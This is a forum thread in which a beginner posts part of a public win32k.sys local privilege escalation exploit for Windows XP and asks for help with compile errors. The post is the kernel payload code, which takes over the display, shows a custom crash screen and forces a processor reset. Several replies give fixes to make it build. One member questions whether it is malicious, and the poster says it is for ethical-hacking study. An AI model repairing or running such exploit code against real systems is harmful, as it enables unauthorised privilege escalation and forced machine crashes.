My First Dabble

**terminology** · 08-10-2012

Hey guys, This would be my first time fiddling with C, C++ & C#

I've recently been modifying this code but now i'm kind of stuck on what i've done I keep getting an error "lvalue required as left operand of assignment"

What am I doing wrong here and what would the solution be? any help would be grately appreciated.

These are the only lines which cause the error, what am I doing wrong here?

Code:

typedef VOID (*INBV_DISPLAY_STRING_FILTER)
(
    PUCHAR *String
);

VOID (__stdcall *InbvAcquireDisplayOwnership)
(
    VOID
);

VOID (__stdcall *InbvDisplayString)
(
    IN PCHAR String
);

VOID (__stdcall *InbvEnableDisplayString)
(
    IN BOOLEAN Enable
);

VOID (__stdcall *InbvInstallDisplayStringFilter)
(
    IN INBV_DISPLAY_STRING_FILTER Filter
);

VOID (__stdcall *InbvResetDisplay)
(
    VOID
);

VOID (__stdcall *InbvSetScrollRegion)
(
    IN ULONG Left,
    IN ULONG Top,
    IN ULONG Width,
    IN ULONG Height
);

VOID (__stdcall *InbvSetTextColor)
(
    IN ULONG Color
);

VOID (__stdcall *InbvSolidColorFill)
(
    IN ULONG Left,
    IN ULONG Top,
    IN ULONG Width,
    IN ULONG Height,
    IN ULONG Color
);

NTSTATUS XxInitInbv(IN ULONG ImageBase, IN ULONG MappedBase)
{
    NTSTATUS NtStatus;

    ANSI_STRING ProcedureName;


    //
    // InbvAcquireDisplayOwnership
    //

    RtlInitAnsiString(&ProcedureName, "InbvAcquireDisplayOwnership");

    NtStatus = LdrGetProcedureAddress(
                                      (PVOID)MappedBase,                     // DllHandle
                                      &ProcedureName,                        // ProcedureName
                                      0,                                     // ProcedureNumber OPTIONAL
                                      (PVOID*)&InbvAcquireDisplayOwnership); // ProcedureAddress

    if(NtStatus)
    {
        printf(" [*] NtStatus of LdrGetProcedureAddress - InbvAcquireDisplayOwnership - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }

    (ULONG)InbvAcquireDisplayOwnership -= MappedBase;
    (ULONG)InbvAcquireDisplayOwnership += ImageBase;
    

    //
    // InbvResetDisplay
    //

    RtlInitAnsiString(&ProcedureName, "InbvResetDisplay");

    NtStatus = LdrGetProcedureAddress(
                                      (PVOID)MappedBase,
                                      &ProcedureName,
                                      0,
                                      (PVOID*)&InbvResetDisplay);

    if(NtStatus)
    {
        printf(" [*] NtStatus of LdrGetProcedureAddress - InbvResetDisplay - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }

    (ULONG)InbvResetDisplay -= MappedBase;
    (ULONG)InbvResetDisplay += ImageBase;


    //
    // InbvSolidColorFill
    //

    RtlInitAnsiString(&ProcedureName, "InbvSolidColorFill");

    NtStatus = LdrGetProcedureAddress(
                                      (PVOID)MappedBase,
                                      &ProcedureName,
                                      0,
                                      (PVOID*)&InbvSolidColorFill);

    if(NtStatus)
    {
        printf(" [*] NtStatus of LdrGetProcedureAddress - InbvSolidColorFill - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }

    (ULONG)InbvSolidColorFill -= MappedBase;
    (ULONG)InbvSolidColorFill += ImageBase;


    //
    // InbvSetTextColor
    //

    RtlInitAnsiString(&ProcedureName, "InbvSetTextColor");

    NtStatus = LdrGetProcedureAddress(
                                      (PVOID)MappedBase,
                                      &ProcedureName,
                                      0,
                                      (PVOID*)&InbvSetTextColor);

    if(NtStatus)
    {
        printf(" [*] NtStatus of LdrGetProcedureAddress - InbvSetTextColor - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }

    (ULONG)InbvSetTextColor -= MappedBase;
    (ULONG)InbvSetTextColor += ImageBase;


    //
    // InbvInstallDisplayStringFilter
    //

    RtlInitAnsiString(&ProcedureName, "InbvInstallDisplayStringFilter");

    NtStatus = LdrGetProcedureAddress(
                                      (PVOID)MappedBase,
                                      &ProcedureName,
                                      0,
                                      (PVOID*)&InbvInstallDisplayStringFilter);

    if(NtStatus)
    {
        printf(" [*] NtStatus of LdrGetProcedureAddress - InbvInstallDisplayStringFilter - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }

    (ULONG)InbvInstallDisplayStringFilter -= MappedBase;
    (ULONG)InbvInstallDisplayStringFilter += ImageBase;


    //
    // InbvEnableDisplayString
    //

    RtlInitAnsiString(&ProcedureName, "InbvEnableDisplayString");

    NtStatus = LdrGetProcedureAddress(
                                      (PVOID)MappedBase,
                                      &ProcedureName,
                                      0,
                                      (PVOID*)&InbvEnableDisplayString);

    if(NtStatus)
    {
        printf(" [*] NtStatus of LdrGetProcedureAddress - InbvEnableDisplayString - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }

    (ULONG)InbvEnableDisplayString -= MappedBase;
    (ULONG)InbvEnableDisplayString += ImageBase;


    //
    // InbvSetScrollRegion
    //

    RtlInitAnsiString(&ProcedureName, "InbvSetScrollRegion");

    NtStatus = LdrGetProcedureAddress(
                                      (PVOID)MappedBase,
                                      &ProcedureName,
                                      0,
                                      (PVOID*)&InbvSetScrollRegion);

    if(NtStatus)
    {
        printf(" [*] NtStatus of LdrGetProcedureAddress - InbvSetScrollRegion - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }

    (ULONG)InbvSetScrollRegion -= MappedBase;
    (ULONG)InbvSetScrollRegion += ImageBase;


    //
    // InbvDisplayString
    //

    RtlInitAnsiString(&ProcedureName, "InbvDisplayString");

    NtStatus = LdrGetProcedureAddress(
                                      (PVOID)MappedBase,
                                      &ProcedureName,
                                      0,
                                      (PVOID*)&InbvDisplayString);

    if(NtStatus)
    {
        printf(" [*] NtStatus of LdrGetProcedureAddress - InbvDisplayString - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }

    (ULONG)InbvDisplayString -= MappedBase;
    (ULONG)InbvDisplayString += ImageBase;


    printf(" +----------------------------------------------------------------------------+\n"
           " | InbvAcquireDisplayOwnership - 0x%.8X                                   |\n"
           " | InbvResetDisplay - 0x%.8X                                              |\n"
           " | InbvSolidColorFill - 0x%.8X                                            |\n"
           " | InbvSetTextColor - 0x%.8X                                              |\n"
           " | InbvInstallDisplayStringFilter - 0x%.8X                                |\n"
           " | InbvEnableDisplayString - 0x%.8X                                       |\n"
           " | InbvSetScrollRegion - 0x%.8X                                           |\n"
           " | InbvDisplayString - 0x%.8X                                             |\n"
           " +----------------------------------------------------------------------------+\n\n",
           InbvAcquireDisplayOwnership,
           InbvResetDisplay,
           InbvSolidColorFill,
           InbvSetTextColor,
           InbvInstallDisplayStringFilter,
           InbvEnableDisplayString,
           InbvSetScrollRegion,
           InbvDisplayString);

    RtlFreeAnsiString(&ProcedureName);

    return STATUS_SUCCESS;
}

VOID InbvShellCode()
{
    UCHAR BugCheck01[] = " 3";
    UCHAR BugCheck02[] = " 2";
    UCHAR BugCheck03[] = " 1";
    UCHAR BugCheck04[] = " Rebooting ...";
    UCHAR BugCheckString[] =
    "                                                                                "
    " Microsoft Corporation - http://www.microsoft.com/                              "
    "                                                                                "
    " Affected Software:                                                             "
    " Windows XP Service Pack 2                                                      "
    " Windows XP Service Pack 3                                                      "
    "                                                                                "
    " Affected Driver:                                                               "
    " Multi-User Win32 Driver - win32k.sys <= 5.1.2600.5796                          "
    "                                                                                "
    " Local Privilege Escalation Exploit                                             "
    " For Educational Purposes Only !                                                "
    "                                                                                "
    "                                                                                "
    " NT Internals - http://www.ntinternals.org/                                     "
    " alex ntinternals org                                                           "
    " 30 July 2009                                                                   "
    "                                                                                "
    " References:                                                                    "
    " Exploiting Common Flaws in Drivers                                             "
    " Ruben Santamarta - http://www.reversemode.com/                                 "
    "                                                                                "
    "                                                                                ";

    __asm
    {
        //
        // KeDisableInterrupts
        //
        pushf
        pop eax
        and eax, 0x0200
        shr eax, 0x09
        cli
        
        //
        // Prepareing Screen
        //
        call InbvAcquireDisplayOwnership
        
        call InbvResetDisplay
  
        sub esi, esi
        push 0x04
        mov edi, 0x01DF
        push edi
        mov ebx, 0x027F
        push ebx
        push esi
        push esi
        call InbvSolidColorFill    
        
        push 0x0F
        call InbvSetTextColor
        
        push esi
        call InbvInstallDisplayStringFilter
        
        inc esi
        push esi
        call InbvEnableDisplayString
        
        dec edi
        dec edi
        push edi
        push ebx
        dec esi
        push esi
        push esi
        call InbvSetScrollRegion
        
        lea eax, BugCheckString
        push eax
        call InbvDisplayString
            
        mov esi, 0x80000000
        mov ecx, esi
        
        //
        // Countdown
        //
    __loop01:
        dec ecx
        jnz __loop01
        
        lea eax, BugCheck01
        push eax
        call InbvDisplayString

        mov ecx, esi

    __loop02:
        dec ecx
        jnz __loop02

        lea eax, BugCheck02
        push eax
        call InbvDisplayString

        mov ecx, esi

    __loop03:
        dec ecx
        jnz __loop03

        lea eax, BugCheck03
        push eax
        call InbvDisplayString

        mov ecx, esi

    __loop04:
        dec ecx
        jnz __loop04

        lea eax, BugCheck04
        push eax
        call InbvDisplayString

        mov ecx, esi
        shl ecx, 0x01

    __loop05:
        dec ecx
        jnz __loop05
        
        //
        // Reseting Processor
        //
        mov al, 0xFE
        out 0x64, al
    }
}

**oogabooga** · 08-10-2012

Put the code back up!

What does the original code do?

Could you compile it before?

What are you trying to modify it to do?

What did you change?

**terminology** · 08-10-2012

Ahh sorry about that, i'll get it back up

Well the original code is part of an exploit for the win32k.sys vulnerability which i'm hoping to learn more about, i've tried a few times to compile but these are the only errors which come out so ... at the moment I just want it to work really I have two c source files and two header files which I could put up if needed.

Thanks for the reply btw.

**AndiPersti** · 08-10-2012

And please post the actual error messages. Don't retype them!

Bye, Andreas

**terminology** · 08-10-2012

Error Messages are Below: (I've taken all the warnings out)

Code:

||=== Exploit Win32k, Release ===|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|78|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|79|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|100|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|101|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|122|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|123|error: lvalue required as left operand of assignment|


E:\NtUserConsoleControl_Exp\InvbShellCode.h|144|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|145|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|166|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|167|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|188|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|189|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|210|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|211|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|232|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|233|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|292|error: expected '(' before '{' token|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|296|error: 'pushf' undeclared (first use in this function)|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|296|error: (Each undeclared identifier is reported only once|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|296|error: for each function it appears in.)|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|297|error: expected ';' before 'pop'|
E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|173|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|174|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|176|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|219|error: lvalue required as left operand of assignment|
||=== Build finished: 25 errors, 96 warnings ===|

**terminology** · 08-10-2012

https://compilr.com/capwn/123/NtUser...Control_Exp.c#

This is the original code which also throws out the errors, I thought I might have to compile this on Linux since it does have a makefile.

**smokeyangel** · 08-10-2012

You dropped the declaration of InbvSetScrollRegion from your post though, which would have been useful.

Code:

VOID (__stdcall *InbvSetScrollRegion)
(
    IN ULONG Left,
    IN ULONG Top,
    IN ULONG Width,
    IN ULONG Height
);

So, InbvDisplayString is a function pointer.

I think I've just about grasped what you're trying to do (though it's a bit tricky as I think this is C#, which I don't know brilliantly well).

Code:

(ULONG)InbvSetScrollRegion -= MappedBase;

So, InbvSetScrollRegion has a value.... and you want to subtract MappedBase from it. Fair enough. Except you're now allowed to do arithmetic on function pointers in C/C++. So trying it the obvious way would fail:

Code:

InbvSetScrollRegion -= MappedBase;

I expect at that point you'd get an error. So you've made the interesting and very wrong choice of casting the right hand side of the assignment to (ULONG).

Code:

(ULONG)InbvSetScrollRegion -= MappedBase;

You can't do that! You've taken the right hand side and applied a cast to it so it is now a different type. (ULONG)InbvSetScrollRegion isn't a modifiable value, because it doesn't exist in a way that can be modified. InbvSetScrollRegion is a function pointer type - different type with different semantics, so you can't just hope the compiler will let you get away with it. It is like writing:

Code:

   5 = 1;

In fact I think that'll give the exact same error lvalue error. The number "5" exists, but you can't assign to it.

So, where does that leave you? You've trying to modify the address of the function pointer. You can just cast the right hand side of the assignment to ULONG then back to the function pointer type. I think you'll need to typedef a function type for each function you want to do this with, unless C# is more lenient about that kind of thing than C++.

Code:

InbvSetScrollRegion =  (func_type) ((ULONG)InbvSetScrollRegion - MappedBase);

I'm curious to know how this worked before (since you said you've been tinkering with it). I can't see how you could end up with valid code from that sort of construct. But like I said, I really don't know C# well, maybe there's some relevant language difference.

**oogabooga** · 08-10-2012

Put this at the top:

Code:

typedef void (*FUNC) (void);

And replace line 78 with this to see if it gets rid of the error on that line.

Code:

InbvAcquireDisplayOwnership = (FUNC)((ULONG)InbvAcquireDisplayOwnership - MappedBase);

**terminology** · 08-10-2012

Well it stops the error on line 78, which is good thank you

**terminology** · 08-10-2012

Here are the new errors:

Code:

E:\NtUserConsoleControl_Exp\InvbShellCode.h|3|error: expected identifier or '(' before 'PUCHAR'|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|23|error: expected ')' before 'Filter'|

E:\NtUserConsoleControl_Exp\InvbShellCode.h||In function 'XxInitInbv':|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|79|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|101|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|123|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|145|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|158|error: 'InbvInstallDisplayStringFilter' undeclared (first use in this function)|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|158|error: (Each undeclared identifier is reported only once|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|158|error: for each function it appears in.)|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|189|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|211|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|233|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\InvbShellCode.h||In function 'InbvShellCode':|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|292|error: expected '(' before '{' token|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|296|error: 'pushf' undeclared (first use in this function)|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|297|error: expected ';' before 'pop'|
E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c||In function 'main':|

E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|173|error: invalid operands to binary - (have 'long unsigned int' and 'PVOID')|
E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|174|error: lvalue required as left operand of assignment|

E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|176|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|219|error: lvalue required as left operand of assignment|

||=== Build finished: 19 errors, 0 warnings ===||

**terminology** · 08-10-2012

Well I haven't really tinkered with it much, I meant I've just read the code trying to understand which you post kind of does (thanks for that), I don't think it has ever worked but I have been messing with this is just the original code because the changes I made just threw out more and more errors whilst trying to change it.

**oogabooga** · 08-10-2012

Change all of the line pairs that look like this:

Code:

    (ULONG)InbvAcquireDisplayOwnership -= MappedBase;
    (ULONG)InbvAcquireDisplayOwnership += ImageBase;

to this

Code:

InbvAcquireDisplayOwnership = (FUNC)((ULONG)InbvAcquireDisplayOwnership - MappedBase + ImageBase);

Don't just do this for InbvAcquireDisplayOwnership, but for all similar line pairs.

**terminology** · 08-10-2012

Well that seems to have fixed that problem, so here are the other errors but before we go any further could you tell me what has been done here for reference?

errors:

Code:

E:\NtUserConsoleControl_Exp\InvbShellCode.h|3|error: expected identifier or '(' before 'PUCHAR'|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|23|error: expected ')' before 'Filter'|

E:\NtUserConsoleControl_Exp\InvbShellCode.h||In function 'XxInitInbv':|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|153|error: 'InbvInstallDisplayStringFilter' undeclared (first use in this function)|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|153|error: (Each undeclared identifier is reported only once|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|153|error: for each function it appears in.)|

E:\NtUserConsoleControl_Exp\InvbShellCode.h||In function 'InbvShellCode':|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|284|error: expected '(' before '{' token|

E:\NtUserConsoleControl_Exp\InvbShellCode.h|288|error: 'pushf' undeclared (first use in this function)|
E:\NtUserConsoleControl_Exp\InvbShellCode.h|289|error: expected ';' before 'pop'|

E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c||In function 'main':|
E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|173|error: invalid operands to binary - (have 'long unsigned int' and 'PVOID')|

E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|175|error: lvalue required as left operand of assignment|
E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|218|error: lvalue required as left operand of assignment|
||=== Build finished: 11 errors, 0 warnings ===|

**rags_to_riches** · 08-10-2012

Why are we helping with something which appears to be malicious?

**terminology** · 08-10-2012

Look i'm not trying to get you guys to do all the work, i'm not a script kiddie I am learning code at the minute but I am also learning IT Security as I do wish to become a CEH (Certified Ethical Hacker), I will not be using this with malicious intent, I have already set up a virtual box for testing and even if I did use it it would be that gets into s**t for it so.

Thread: My First Dabble

Thread Tools

Search Thread

Display

My First Dabble